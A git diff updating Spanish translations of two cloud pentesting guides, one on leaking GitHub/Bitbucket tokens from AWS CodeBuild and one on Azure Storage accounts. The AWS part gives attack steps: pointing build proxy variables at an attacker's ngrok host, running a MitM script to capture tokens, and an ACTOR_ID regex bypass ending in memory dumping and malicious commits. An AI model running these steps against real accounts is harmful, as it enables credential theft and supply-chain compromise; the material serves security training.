diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index ca7b9df21..c5affe81c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,43 +2,43 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recuperar tokens configurados de Github/Bitbucket +## Recuperar Tokens Configurados de Github/Bitbucket -Primero, comprueba si existen credenciales de origen configuradas que puedas leak: +Primero, comprueba si hay credenciales de origen configuradas que puedas leak: ```bash aws codebuild list-source-credentials ``` -### A través de una imagen Docker +### Vía Docker Image -Si detectas que la autenticación, por ejemplo a Github, está configurada en la cuenta, puedes **exfiltrate** ese **access** (**GH token or OAuth token**) haciendo que Codebuild **use una imagen Docker específica** para ejecutar la build del proyecto. +Si detectas que la autenticación, por ejemplo a Github, está configurada en la cuenta, puedes **exfiltrate** ese **access** (**GH token or OAuth token**) haciendo que Codebuild **use una Docker image específica** para ejecutar el build del proyecto. -Para ello puedes **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen Docker**. +Para ello podrías **create a new Codebuild project** o cambiar el **environment** de uno existente para establecer la **Docker image**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen Docker muy básica que establecerá las **variables de entorno `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el CERT SSL indicado en **`SSL_CERT_FILE`**. +La Docker image que podrías usar es [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Se trata de una Docker image muy básica que establecerá las **env variables `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayoría del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el certificado SSL indicado en **`SSL_CERT_FILE`**. -1. **Crear & subir tu propia imagen Docker MitM** -- Sigue las instrucciones del repo para configurar la dirección IP de tu proxy y establecer tu certificado SSL y **construir la imagen Docker**. -- **NO CONFIGURAR `http_proxy`** para no interceptar las requests al endpoint de metadata. +1. **Crear y subir tu propio Docker MitM image** +- Sigue las instrucciones del repo para configurar la IP de tu proxy y tu certificado SSL, y **construir la Docker image**. +- **NO CONFIGURES `http_proxy`** para no interceptar las solicitudes al endpoint de metadata. - Puedes usar **`ngrok`** como `ngrok tcp 4444` para establecer el proxy hacia tu host -- Una vez que tengas la imagen Docker construida, **subirla a un repo público** (Dockerhub, ECR...) -2. **Configurar el entorno** -- Crea un **nuevo proyecto de Codebuild** o **modifica** el entorno de uno existente. -- Configura el proyecto para que use la **imagen Docker generada previamente** +- Una vez que tengas la Docker image construida, **súbela a un repo público** (Dockerhub, ECR...) +2. **Set the environment** +- Crea un **nuevo Codebuild project** o **modifica** el environment de uno existente. +- Configura el proyecto para que use la **Docker image previamente generada**
-3. **Configura el proxy MitM en tu host** +3. **Configura el MitM proxy en tu host** -- Como indica el **repo de Github** podrías usar algo como: +- Como indica el **Github repo**, podrías usar algo como: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> La **versión de mitmproxy utilizada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar. +> La **versión de mitmproxy usada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar. -4. **Ejecutar el build y capturar las credenciales** +4. **Ejecuta la build & captura las credenciales** -- Puedes ver el token en el encabezado **Authorization**: +- Puedes ver el token en la cabecera **Authorization**:
@@ -71,18 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Mediante insecureSSL +### A través de insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Los proyectos de **Codebuild** tienen una opción llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\ -Activarla permite a Codebuild conectarse al repositorio **sin comprobar el certificado** ofrecido por la plataforma. +Los proyectos de **Codebuild** tienen una configuración llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\ +Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma. - Primero necesitas enumerar la configuración actual con algo como: ```bash aws codebuild batch-get-projects --name ``` -- Luego, con la información recopilada puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de mi actualización de un proyecto, fíjate en **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada). -- Además, añade también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok así: +- Entonces, con la información recopilada puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de mi actualización de un proyecto, fíjate en **`insecureSsl=True`** al final (esta es la única cosa que necesitas cambiar de la configuración recopilada). +- Además, añade también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu ngrok tcp así: ```bash aws codebuild update-project --name \ --source '{ @@ -116,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables de proxy (http_proxy y https_proxy) +- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables proxy (http_proxy y https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -129,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, haga clic en **Build the project**, las **credentials** serán **enviadas en texto claro** (base64) al mitm port: +- Finalmente, haz clic en **Build the project**, las **credentials** serán **sent in clear text** (base64) al puerto mitm:
-### ~~A través del protocolo HTTP~~ +### ~~Vía protocolo HTTP~~ -> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)** +> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento la semana del 20 de feb de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)** -Un atacante con **permisos elevados sobre un CodeBuild podría leak el Github/Bitbucket token** configurado o, si los permisos se configuraron vía OAuth, el **temporary OAuth token used to access the code**. +Un atacante con **permisos elevados sobre un CodeBuild podría leak el token de Github/Bitbucket** configurado o, si los permisos se configuraron vía OAuth, el **token OAuth temporal usado para acceder al código**. - Un atacante podría añadir las variables de entorno **http_proxy** y **https_proxy** al proyecto CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`). @@ -145,8 +144,8 @@ Un atacante con **permisos elevados sobre un CodeBuild podría leak el Github/Bi
-- Luego, cambie la URL del repo de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions` -- Luego, ejecute el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables proxy (http_proxy y https_proxy) +- Luego, cambiar la URL del repo de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions` +- Luego, ejecutar el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables de proxy (http_proxy and https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -159,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -A continuación, haga clic en **Build the project** o inicie la compilación desde la línea de comandos: +- A continuación, haga clic en **Construir el proyecto** o inicie la compilación desde la línea de comandos: ```sh aws codebuild start-build --project-name ``` @@ -170,19 +169,19 @@ aws codebuild start-build --project-name > [!WARNING] > Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que usando el servicio CodeBuild directamente. -## Bypass de la allowlist regex ACTOR_ID del filtro de webhook (PR-triggered privileged builds) +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) -Los webhooks de CodeBuild para GitHub mal configurados que usan regex `ACTOR_ID` sin anclar permiten que PRs *no confiables* inicien builds privilegiadas. Si la allowlist es algo como `123456|7890123` sin `^`/`$`, cualquier ID que contenga una de esas subcadenas coincide. Dado que los IDs de usuario de GitHub son secuenciales, un atacante puede competir para registrar un ID eclipsante (una supercadena de un ID confiable) y desencadenar el build. +Los webhooks de GitHub de CodeBuild mal configurados que usan regexes `ACTOR_ID` sin anclar permiten que PRs *no confiables* inicien builds privilegiados. Si la allowlist es como `123456|7890123` sin `^`/`$`, cualquier ID que contenga una de esas subcadenas coincide. Debido a que los IDs de usuario de GitHub son secuenciales, un atacante puede competir para registrar un ID “eclipsing” (una supercadena de un ID confiable) y disparar el build. **Exploit path** -1. Encontrar proyectos públicos de CodeBuild que expongan filtros de webhook y extraer una allowlist `ACTOR_ID` sin anclar. -2. Obtener un GitHub ID eclipsante: -- Muestrear el contador global de IDs creando/eliminando organizaciones de GitHub (los org IDs comparten el pool). -- Pre-crear muchas manifestaciones de GitHub App y activar las URLs de confirmación cuando el contador esté a ~100 IDs del objetivo para registrar en ráfaga un bot ID que contenga la subcadena confiable. -3. Abrir un PR desde la cuenta eclipsante; la regex coincide con la subcadena y se ejecuta el build privilegiado. -4. Usar RCE en el build (p. ej., dependency install hooks) para volcar la memoria del proceso que maneja la credencial de GitHub y recuperar el token PAT/OAuth. -5. Con el scope `repo` del token, invitar tu cuenta como colaborador/administrador y push/approve commits maliciosos o exfiltrar secretos. +1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist. +2. Obtain an eclipsing GitHub ID: +- Muestrea el contador global de IDs creando/eliminando orgs de GitHub (los org IDs comparten el pool). +- Prepara numerosas creaciones de manifestos de GitHub App y dispara las URLs de confirmación cuando el contador esté dentro de ~100 IDs del objetivo para registrar en ráfaga un bot ID que contenga la subcadena confiable. +3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs. +4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token. +5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets. ## Referencias - [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 8fcbeb478..d9717bd6d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,72 +4,72 @@ ## Información básica -Azure Storage Accounts son servicios fundamentales en Microsoft Azure que proporcionan almacenamiento en la nube escalable, seguro y altamente disponible para varios tipos de datos, incluyendo blobs (binary large objects), files, queues, and tables. Sirven como contenedores que agrupan estos diferentes servicios de almacenamiento bajo un único namespace para facilitar la gestión. +Azure Storage Accounts son servicios fundamentales en Microsoft Azure que proporcionan almacenamiento en la nube escalable, seguro y altamente disponible para diversos tipos de datos, incluyendo blobs (binary large objects), files, queues y tables. Sirven como contenedores que agrupan estos distintos servicios de almacenamiento bajo un único namespace para facilitar la gestión. -**Opciones de configuración principales**: +**Principales opciones de configuración**: -- Cada storage account debe tener un **uniq name across all Azure**. -- Cada storage account se despliega en una **region** o en una Azure extended zone. -- Es posible seleccionar la versión **premium** del storage account para mejor rendimiento. -- Es posible seleccionar entre **4 types of redundancy to protect** contra fallos de rack, disco y datacenter. +- Cada Storage Account debe tener un **nombre único en todo Azure**. +- Cada Storage Account se despliega en una **región** o en una zona extendida de Azure. +- Es posible seleccionar la versión **premium** de la cuenta de almacenamiento para mayor rendimiento. +- Es posible elegir entre **4 tipos de redundancia** para protegerse contra fallos de rack, disco y centro de datos. **Opciones de configuración de seguridad**: -- **Require secure transfer for REST API operations**: Requiere TLS en cualquier comunicación con el storage. -- **Allows enabling anonymous access on individual containers**: Si no, no será posible habilitar el acceso anónimo en el futuro. -- **Enable storage account key access**: Si no, el acceso con Shared Keys será prohibido. +- **Require secure transfer for REST API operations**: exigir TLS en cualquier comunicación con la cuenta de Storage. +- **Allows enabling anonymous access on individual containers**: permite habilitar acceso anónimo en contenedores individuales; si no está, no será posible activarlo en el futuro. +- **Enable storage account key access**: si no está habilitado, el acceso con Shared Keys quedará prohibido. - **Minimum TLS version** -- **Permitted scope for copy operations**: Permitir desde cualquier storage account, desde cualquier storage account del mismo Entra tenant o desde storage account con private endpoints en la misma virtual network. +- **Permitted scope for copy operations**: permitir desde cualquier storage account, desde cualquier storage account del mismo Entra tenant o desde storage accounts con private endpoints en la misma red virtual. **Blob Storage options**: - **Allow cross-tenant replication** -- **Access tier**: Hot (datos de acceso frecuente), Cool y Cold (datos accedidos raramente) +- **Access tier**: Hot (datos de acceso frecuente), Cool y Cold (datos raramente accedidos) **Opciones de red**: - **Network access**: -- Allow from all networks -- Allow from selected virtual networks and IP addresses -- Disable public access and use private access -- **Private endpoints**: Permite una conexión privada al storage account desde una virtual network + - Allow from all networks + - Allow from selected virtual networks and IP addresses + - Disable public access and use private access +- **Private endpoints**: permite una conexión privada a la cuenta de Storage desde una red virtual. **Opciones de protección de datos**: -- **Point-in-time restore for containers**: Permite restaurar contenedores a un estado anterior. -- Requiere habilitar versioning, change feed y blob soft delete. -- **Enable soft delete for blobs**: Habilita un período de retención en días para blobs eliminados (incluso sobrescritos). -- **Enable soft delete for containers**: Habilita un período de retención en días para contenedores eliminados. -- **Enable soft delete for file shares**: Habilita un período de retención en días para file shares eliminados. -- **Enable versioning for blobs**: Mantener versiones previas de tus blobs. -- **Enable blob change feed**: Mantener registros de creación, modificación y eliminación de blobs. -- **Enable version-level immutability support**: Permite establecer una política de retención basada en tiempo a nivel de cuenta que se aplicará a todas las versiones de blob. -- Version-level immutability support y point-in-time restore for containers no pueden estar habilitados simultáneamente. +- **Point-in-time restore for containers**: permite restaurar contenedores a un estado anterior. +- Requiere que estén habilitados versioning, change feed y blob soft delete. +- **Enable soft delete for blobs**: habilita un periodo de retención en días para blobs eliminados (incluso sobrescritos). +- **Enable soft delete for containers**: habilita un periodo de retención en días para contenedores eliminados. +- **Enable soft delete for file shares**: habilita un periodo de retención en días para file shares eliminados. +- **Enable versioning for blobs**: mantiene versiones previas de tus blobs. +- **Enable blob change feed**: conserva registros de creación, modificación y eliminación de blobs. +- **Enable version-level immutability support**: permite establecer una política de retención basada en tiempo a nivel de cuenta que se aplicará a todas las versiones de blobs. +- Version-level immutability support y point-in-time restore for containers no pueden habilitarse simultáneamente. -**Opciones de configuración de cifrado**: +**Opciones de cifrado**: -- **Encryption type**: Es posible usar Microsoft-managed keys (MMK) o Customer-managed keys (CMK). -- **Enable infrastructure encryption**: Permite double encrypt los datos para mayor seguridad. +- **Encryption type**: es posible usar Microsoft-managed keys (MMK) o Customer-managed keys (CMK). +- **Enable infrastructure encryption**: permite cifrar los datos doblemente "for more security". ### Storage endpoints -
Servicio de almacenamientoPunto de conexión
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
+
Storage ServiceEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
### Exposición pública -Si "Allow Blob public access" está **enabled** (disabled por defecto), al crear un container es posible: +Si "Allow Blob public access" está **habilitado** (deshabilitado por defecto), al crear un contenedor es posible: - Dar **public access to read blobs** (necesitas conocer el nombre). -- **List container blobs** y **read** them. +- **List container blobs** y **read** los blobs. - Hacerlo totalmente **private**
### Static website (`$web`) exposure & leaked secrets -- **Static websites** are served from the special `$web` container over a region-specific endpoint such as `https://.z13.web.core.windows.net/`. -- The `$web` container may report `publicAccess: null` via the blob API, but files are still reachable through the static site endpoint, so dropping config/IaC artifacts there can leak secrets. -- Quick audit workflow: +- **Static websites** se sirven desde el contenedor especial `$web` a través de un endpoint específico por región, por ejemplo `https://.z13.web.core.windows.net/`. +- El contenedor `$web` puede reportar `publicAccess: null` vía la blob API, pero los archivos siguen siendo alcanzables a través del static site endpoint, por lo que dejar artefactos de config/IaC allí puede leak secrets. +- Flujo rápido de auditoría: ```bash # Identify storage accounts with static website hosting enabled az storage blob service-properties show --account-name --auth-mode login @@ -80,21 +80,21 @@ az storage blob list --container-name '$web' --account-name --auth-mo # Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS) az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name --auth-mode login ``` -### Auditoría de exposición anónima de blobs +### Auditoría de exposición anónima de blob -- **Localiza cuentas de almacenamiento** que puedan exponer datos: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Si `allowBlobPublicAccess` es `false` no puedes hacer públicos los contenedores. -- **Inspecciona cuentas riesgosas** para confirmar la opción y otras configuraciones débiles: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. -- **Enumera la exposición a nivel de contenedor** donde la opción está habilitada: +- **Localizar cuentas de almacenamiento** que pueden exponer datos: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Si `allowBlobPublicAccess` es `false` no puedes poner los contenedores como públicos. +- **Inspeccionar cuentas riesgosas** para confirmar el indicador y otras configuraciones débiles: `az storage account show --name --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`. +- **Enumerar exposición a nivel de contenedor** donde el flag esté habilitado: ```bash az storage container list --account-name \ --query '[].{name:name, access:properties.publicAccess}' ``` - `"Blob"`: lecturas anónimas permitidas **solo cuando se conoce el nombre del blob** (sin listado). -- `"Container"`: **listado + lectura** anónimos de todos los blobs. +- `"Container"`: listado anónimo **+ lectura** de cada blob. - `null`: privado; se requiere autenticación. -- **Demostrar acceso** sin credenciales: +- **Probar acceso** sin credenciales: - Si `publicAccess` es `Container`, el listado anónimo funciona: `curl "https://.blob.core.windows.net/?restype=container&comp=list"`. -- Para ambos `Blob` y `Container`, la descarga anónima de blobs funciona cuando se conoce el nombre: +- Para ambos `Blob` y `Container`, la descarga anónima del blob funciona cuando se conoce el nombre: ```bash az storage blob download -c -n --account-name --file /dev/stdout # or via raw HTTP @@ -102,13 +102,13 @@ curl "https://.blob.core.windows.net//" ``` ### Conectarse al almacenamiento -Si encuentras cualquier **almacenamiento** al que puedas conectarte, puedes usar la herramienta [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) para ello. +Si encuentras algún **almacenamiento** al que puedas conectarte, puedes usar la herramienta [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) para hacerlo. ## Acceso al almacenamiento ### RBAC -Es posible usar entidades principales de Entra ID con **RBAC roles** para acceder a las cuentas de almacenamiento y es la forma recomendada. +Es posible usar principales de Entra ID con **roles RBAC** para acceder a cuentas de almacenamiento, y es la forma recomendada. ### Claves de acceso @@ -116,15 +116,15 @@ Las cuentas de almacenamiento tienen claves de acceso que pueden usarse para acc
-### **Shared Keys & Lite Shared Keys** +### **Claves compartidas y Claves compartidas Lite** -Es posible [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmadas con las claves de acceso para autorizar el acceso a ciertos recursos mediante una URL firmada. +Es posible [**generar Claves compartidas**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmadas con las claves de acceso para autorizar el acceso a ciertos recursos mediante una URL firmada. > [!NOTE] -> Tenga en cuenta que la parte `CanonicalizedResource` representa el recurso del servicio de almacenamiento (URI). Y si alguna parte de la URL está codificada, también debe estar codificada dentro de la `CanonicalizedResource`. +> Ten en cuenta que la parte `CanonicalizedResource` representa el recurso del servicio de almacenamiento (URI). Y si alguna parte de la URL está codificada, también debe estar codificada dentro de `CanonicalizedResource`. > [!NOTE] -> Esto es **usado por defecto por la CLI `az`** para autenticar las solicitudes. Para que use las credenciales del principal de Entra ID indica el parámetro `--auth-mode login`. +> Esto se **usa por defecto con la cli `az`** para autenticar solicitudes. Para que use las credenciales del principal de Entra ID indica el parámetro `--auth-mode login`. - Es posible generar una **clave compartida para los servicios blob, queue y file** firmando la siguiente información: ```bash @@ -143,7 +143,7 @@ Range + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Es posible generar un **shared key for table services** firmando la siguiente información: +- Es posible generar una **shared key for table services** firmando la siguiente información: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -160,12 +160,12 @@ Date + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- Es posible generar un **lite shared key for table services** firmando la siguiente información: +- Es posible generar una **lite shared key for table services** firmando la siguiente información: ```bash StringToSign = Date + "\n" CanonicalizedResource ``` -Luego, para usar la clave, puede hacerse en el encabezado Authorization siguiendo la sintaxis: +Entonces, para usar la clave, se puede hacer en el encabezado Authorization siguiendo la sintaxis: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -179,68 +179,68 @@ Content-Length: 0 ``` ### **Firma de acceso compartido** (SAS) -Las Shared Access Signatures (SAS) son URLs seguras y con tiempo limitado que **conceden permisos específicos para acceder a recursos** en una cuenta de Azure Storage sin exponer las claves de acceso de la cuenta. Mientras que las claves de acceso proporcionan acceso administrativo completo a todos los recursos, las SAS permiten un control granular al especificar permisos (como lectura o escritura) y definir un tiempo de expiración. +Las Firmas de acceso compartido (SAS) son URLs seguras y con tiempo limitado que **conceden permisos específicos para acceder a recursos** en una cuenta de Azure Storage sin exponer las claves de acceso de la cuenta. Mientras que las claves de acceso proporcionan acceso administrativo completo a todos los recursos, las SAS permiten un control granular al especificar permisos (como lectura o escritura) y definir una fecha de expiración. #### Tipos de SAS -- **User delegation SAS**: Se crea a partir de un **principal de Entra ID** que firmará la SAS y delegará los permisos del usuario a la SAS. Solo puede usarse con **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todas las SAS delegadas de usuario generadas. -- Aunque es posible generar una delegation SAS con "más" permisos que los que tiene el usuario, si el principal no los posee, no funcionará (no hay privesc). -- **Service SAS**: Está firmada usando una de las **access keys** de la cuenta de storage. Puede usarse para otorgar acceso a recursos específicos en un único servicio de storage. Si la key se renueva, la SAS dejará de funcionar. -- **Account SAS**: También se firma con una de las **access keys** de la cuenta de storage. Concede acceso a recursos a través de los servicios de una cuenta de storage (Blob, Queue, Table, File) y puede incluir operaciones a nivel de servicio. +- **SAS de delegación de usuario**: Esto se crea a partir de un **principal de Entra ID** que firmará la SAS y delegará los permisos del usuario a la SAS. Solo puede usarse con **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todas las SAS delegadas de usuario generadas. +- Aunque es posible generar una SAS de delegación con permisos "mayores" a los que tiene el usuario, si el principal no los posee no funcionará (sin privesc). +- **SAS de servicio**: Esta se firma usando una de las **claves de acceso** de la cuenta de almacenamiento. Puede emplearse para otorgar acceso a recursos específicos en un único servicio de almacenamiento. Si la clave se renueva, la SAS dejará de funcionar. +- **SAS de cuenta**: También se firma con una de las **claves de acceso** de la cuenta de almacenamiento. Otorga acceso a recursos a través de los servicios de una cuenta de almacenamiento (Blob, Queue, Table, File) y puede incluir operaciones a nivel de servicio. -A SAS URL firmada por una **access key** se ve así: +Una URL SAS firmada por una **access key** se ve así: - `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -Una SAS URL firmada como **user delegation** se ve así: +Una URL SAS firmada como **user delegation** se ve así: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -Nota algunos **http params**: +Nota algunos **parámetros http**: -- El parámetro **`se`** indica la **fecha de expiración** de la SAS -- El parámetro **`sp`** indica los **permisos** de la SAS +- El **`se`** indica la **fecha de expiración** de la SAS +- El **`sp`** indica los **permisos** de la SAS - El **`sig`** es la **firma** que valida la SAS #### Permisos de SAS -Al generar una SAS es necesario indicar los permisos que debe conceder. Dependiendo del objeto sobre el que se genera la SAS, se pueden incluir distintos permisos. Por ejemplo: +Al generar una SAS es necesario indicar los permisos que debe otorgar. Dependiendo del objeto sobre el que se genere la SAS, se pueden incluir permisos diferentes. Por ejemplo: -- (a)ñadir, (c)rear, (d)eliminar, (e)ejecutar, (f)filter_by_tags, (i)set_immutability_policy, (l)listar, (m)mover, (r)leer, (t)etiquetar, (w)escribir, (x)delete_previous_version, (y)permanent_delete +- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete ## Soporte SFTP para Azure Blob Storage -Azure Blob Storage ahora soporta el SSH File Transfer Protocol (SFTP), permitiendo la transferencia segura de archivos y la gestión directamente en Blob Storage sin requerir soluciones personalizadas o productos de terceros. +Azure Blob Storage ahora soporta el Protocolo de Transferencia de Archivos SSH (SFTP), permitiendo la transferencia y gestión segura de archivos directamente en Blob Storage sin requerir soluciones personalizadas o productos de terceros. ### Características clave -- Protocol Support: SFTP funciona con cuentas de Blob Storage configuradas con hierarchical namespace (HNS). Esto organiza los blobs en directorios y subdirectorios para una navegación más sencilla. -- Security: SFTP usa identidades de usuario locales para la autenticación y no se integra con RBAC ni ABAC. Cada usuario local puede autenticarse mediante: - - Azure-generated passwords - - Public-private SSH key pairs -- Permisos granulares: Permisos como Leer, Escribir, Eliminar y Listar se pueden asignar a usuarios locales para hasta 100 containers. -- Consideraciones de red: Las conexiones SFTP se establecen a través del puerto 22. Azure soporta configuraciones de red como firewalls, private endpoints, o virtual networks para asegurar el tráfico SFTP. +- Soporte de protocolo: SFTP funciona con cuentas de Blob Storage configuradas con hierarchical namespace (HNS). Esto organiza los blobs en directorios y subdirectorios para facilitar la navegación. +- Seguridad: SFTP utiliza identidades de usuario locales para la autenticación y no se integra con RBAC ni ABAC. Cada usuario local puede autenticarse mediante: + - contraseñas generadas por Azure + - pares de claves SSH públicas/privadas +- Permisos granulares: Se pueden asignar permisos como Leer, Escribir, Eliminar y Listar a usuarios locales para hasta 100 contenedores. +- Consideraciones de red: Las conexiones SFTP se realizan a través del puerto 22. Azure soporta configuraciones de red como firewalls, private endpoints o virtual networks para securizar el tráfico SFTP. ### Requisitos de configuración -- Hierarchical Namespace: HNS debe estar habilitado al crear la cuenta de storage. -- Supported Encryption: Requiere algoritmos criptográficos aprobados por Microsoft Security Development Lifecycle (SDL) (p. ej., rsa-sha2-256, ecdsa-sha2-nistp256). -- SFTP Configuration: - - Enable SFTP on the storage account. - - Create local user identities with appropriate permissions. - - Configure home directories for users to define their starting location within the container. +- Hierarchical Namespace: HNS debe estar habilitado al crear la cuenta de almacenamiento. +- Cifrado soportado: Requiere algoritmos criptográficos aprobados por Microsoft Security Development Lifecycle (SDL) (p.ej., rsa-sha2-256, ecdsa-sha2-nistp256). +- Configuración de SFTP: + - Habilitar SFTP en la cuenta de almacenamiento. + - Crear identidades de usuario locales con permisos apropiados. + - Configurar directorios home para los usuarios para definir su ubicación inicial dentro del contenedor. ### Permisos -| Permiso | Símbolo | Descripción | -| ---------------------- | ------- | ------------------------------------ | -| **Leer** | `r` | Leer contenido del archivo. | -| **Escribir** | `w` | Subir archivos y crear directorios. | -| **Listar** | `l` | Listar contenidos de directorios. | -| **Eliminar** | `d` | Eliminar archivos o directorios. | -| **Crear** | `c` | Crear archivos o directorios. | -| **Modificar propietario** | `o` | Cambiar el usuario o grupo propietario. | -| **Modificar permisos** | `p` | Cambiar ACLs en archivos o directorios. | +| Permiso | Símbolo | Descripción | +| ---------------------- | ------- | ------------------------------------- | +| **Read** | `r` | Leer el contenido del archivo. | +| **Write** | `w` | Subir archivos y crear directorios. | +| **List** | `l` | Listar el contenido de directorios. | +| **Delete** | `d` | Eliminar archivos o directorios. | +| **Create** | `c` | Crear archivos o directorios. | +| **Modify Ownership** | `o` | Cambiar el usuario o grupo propietario. | +| **Modify Permissions** | `p` | Cambiar las ACLs en archivos o directorios. | ## Enumeración @@ -248,7 +248,7 @@ Azure Blob Storage ahora soporta el SSH File Transfer Protocol (SFTP), permitien {{#tab name="az cli" }}
-az cli enumeration +enumeración con az cli ```bash # Get storage accounts az storage account list #Get the account name from here @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
